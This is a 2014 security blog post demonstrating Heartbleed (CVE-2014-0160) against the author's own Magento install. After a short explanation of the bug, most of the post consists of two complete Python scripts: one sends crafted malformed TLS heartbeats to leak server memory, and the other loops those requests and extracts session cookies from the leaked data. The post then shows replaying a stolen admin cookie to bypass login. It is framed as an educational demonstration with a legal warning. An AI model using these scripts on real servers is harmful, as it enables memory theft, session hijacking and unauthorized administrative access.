April 11, 2014 - Warren Held

Hijacking User Sessions Utilizing The Heartbleed Vulnerability (CVE-2014-0160)

heartbleedI’m sure by now everyone and their grandmother has heard of the Heartbleed vulnerability that exists in certain versions of OpenSSL and that it can be used to steal information.  While this vulnerability was just publicly announced I’m sure that intelligence agencies and possibly cyber-criminals have been exploiting this for quite some time.  The Heartbleed vulnerability (CVE-2014-0160) is caused by a small bug in the logic that OpenSSL used to implement the TLS heartbeat mechanism.  A user sends a heartbeat message with random data to the server, and the server is supposed to reply back with the same data supplied by the user.  A malicious user can craft a heartbeat message that contains one byte of information but set the payload length flag to 64 kilobytes.  The server will take the user at his word and reserve a 64KB chunk of memory without checking to see if the heartbeat message actually contains the 64KB of payload data.  The server then sends back this 64KB chunk of memory that was supposed to contain the 64KB of payload data that the user claimed they were sending.  By sending many of these heartbeat requests an attacker can gather many 64KB chunks of memory from the server potentially exposing encryption keys, usernames, passwords, and session ids.

I’m going to demonstrate how an attacker could take advantage of this vulnerability to steal session IDs and then masquerade as an already logged-in user of a web site in order to bypass authentication.  Please note that attempting this exploit unauthorized on computer systems that you don’t own is a federal crime.  I’m running a WAMP stack on my local Windows host: Windows 7, MySQL, PHP, and Apache with OpenSSL 1.0.1e which is one of the OpenSSL versions vulnerable to this attack.  I have downloaded and installed the Magento eCommerce platform on my computer.

The first order of business is to verify that my web server is vulnerable to the Heartbleed bug.  To do that I am using this Python script:

 

#!/usr/bin/env python2

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS')
options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output')

def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print '  %04x: %-48s %s' % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata

def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False

if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True

if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))

if opts.starttls:
re = s.recv(4096)
if opts.debug: print re
s.send('ehlo starttlstest\n')
re = s.recv(1024)
if opts.debug: print re
if not 'STARTTLS' in re:
if opts.debug: print re
print 'STARTTLS not supported...'
sys.exit(0)
s.send('starttls\n')
re = s.recv(1024)

print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)

if __name__ == '__main__':
main()

If I execute this script against my own machine I can see that it has returned way more information in the heartbeat response than I sent it in my request:
Heartbleed Test

You can see that the web server I’m running is indeed vulnerable to the Heartbleed memory leak.  Now lets log into the administrative back-end of Magento.

Logging In To Magento

And take a look at the session cookie it has assigned me.

Magento Session Cookie

We’ll be looking for adminhtml in the memory data that we leak through Heartbleed.  If we can get the server to leak the adminhtml session id through the Heartbleed exploit we can craft a duplicate cookie on a differnt computer and trick the web server into thinking we are the administrator.  To do this I am going to boot up a Windows 7 virtual computer and use another Python script to flood my web server with malicious TLS heartbeat requests, and filter the returned data for the adminhtml cookie.  This script is a modification of Jared Stafford’s script by Michael Davis.  You can specify a string of text to look for and it will repeatedly send heartbeat requests and parse the responses for the text you are looking for.

#!/usr/bin/python

# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
# Michael Davis (mike.philip.davis@gmail.com)

# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

# The author disclaims copyright to this source code.

import select
import sys
import string
import struct
import socket
import time
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-c', '--cookie', type='str', default='session', help='Cookie to look for. (default: session)')

def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

class HeartBleeder(object):

server_response = None
socket = None
hostname = ''
port = 443
found_sessions = set()
cookie = 'session'
cookie_length = 56

def __init__(self, hostname='', cookie=''):
self.hostname = hostname
self.cookie = cookie

def connect(self):
"""
Connects to the remote server.
"""
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sys.stdout.flush()
self.socket.connect((self.hostname, self.port))
sys.stdout.flush()
self.socket.send(hello)
sys.stdout.flush()

def rcv_response(self):
while True:
_type, version, payload = self.rcv_message()
if _type is None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if _type == 22 and ord(payload[0]) == 0x0E:
break

def rcv_message(self):

record_header = self.rcv_all(5)
if record_header is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
_type, version, line = struct.unpack('>BHH', record_header)
payload = self.rcv_all(line, 10)
if payload is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
# print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return _type, version, payload

def rcv_all(self, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([self.socket], [], [], 5)
if self.socket in r:
data = self.socket.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata

def try_heartbeat(self):
self.socket.send(hb)
while True:
_type, version, self.payload = self.rcv_message()
if _type is None:
print 'No heartbeat response received, server likely not vulnerable'
return False

if _type == 24:
# print 'Received heartbeat response:'
self.parse_response()
if len(self.payload) > 3:
pass
# print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True

if _type == 21:
print 'Received alert:'
self.hexdump(self.payload)
print 'Server returned error, likely not vulnerable'
return False

def parse_response(self):
"""
Parses the response from the server for a session id.
"""
ascii = ''.join((c if 32 <= ord(c) <= 126 else ' ')for c in self.payload)
index = string.find(ascii, self.cookie)
if index >= 0:
info = ascii[index:index + self.cookie_length]
session = info.split(' ')[0]
session = string.replace(session, ';', '')
if session not in self.found_sessions:
self.found_sessions.add(session)
print session

def hexdump(self, payload):
"""
Prints out a hexdump in the event that server returns an error.
"""
for b in xrange(0, len(payload), 16):
line = [c for c in payload[b:b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in line)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in line)
print '  %04x: %-48s %s' % (b, hxdat, pdat)
print

def scan(self):
self.connect()
self.rcv_response()
self.try_heartbeat()

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

cookies_str = opts.cookie
if len(args) > 1:
cookies_str = args[1]

print cookies_str

while True:
heartbeat = HeartBleeder(hostname=args[0], cookie=cookies_str)
heartbeat.scan()

if __name__ == '__main__':
main()

Now I’ll start up my Windows 7 virtual machine and see if I can get the server to leak the session cookie.  While I run the Heartbleed session script from the virtual machine I log into the administrative backend for Magento that is running on my local pc.  You can see below I was able to access the administrative user’s session id.

Heartbleed adminhtml Session ID

Now I on my virtual machine I will open up Cookies Manager+ in Firefox and craft a duplicate session cookie.  When I reload the administrator login page it will see that I have session id cookie from the admin that is logged in and let me through.

Hijacked Session Login

You can see that after adding the session cookie to web browser I was able to bypass the login screen.  If you run a web server you can check and see if it is vulnerable by using this online tool.

Security Heartbleed / Security / Vulnerability /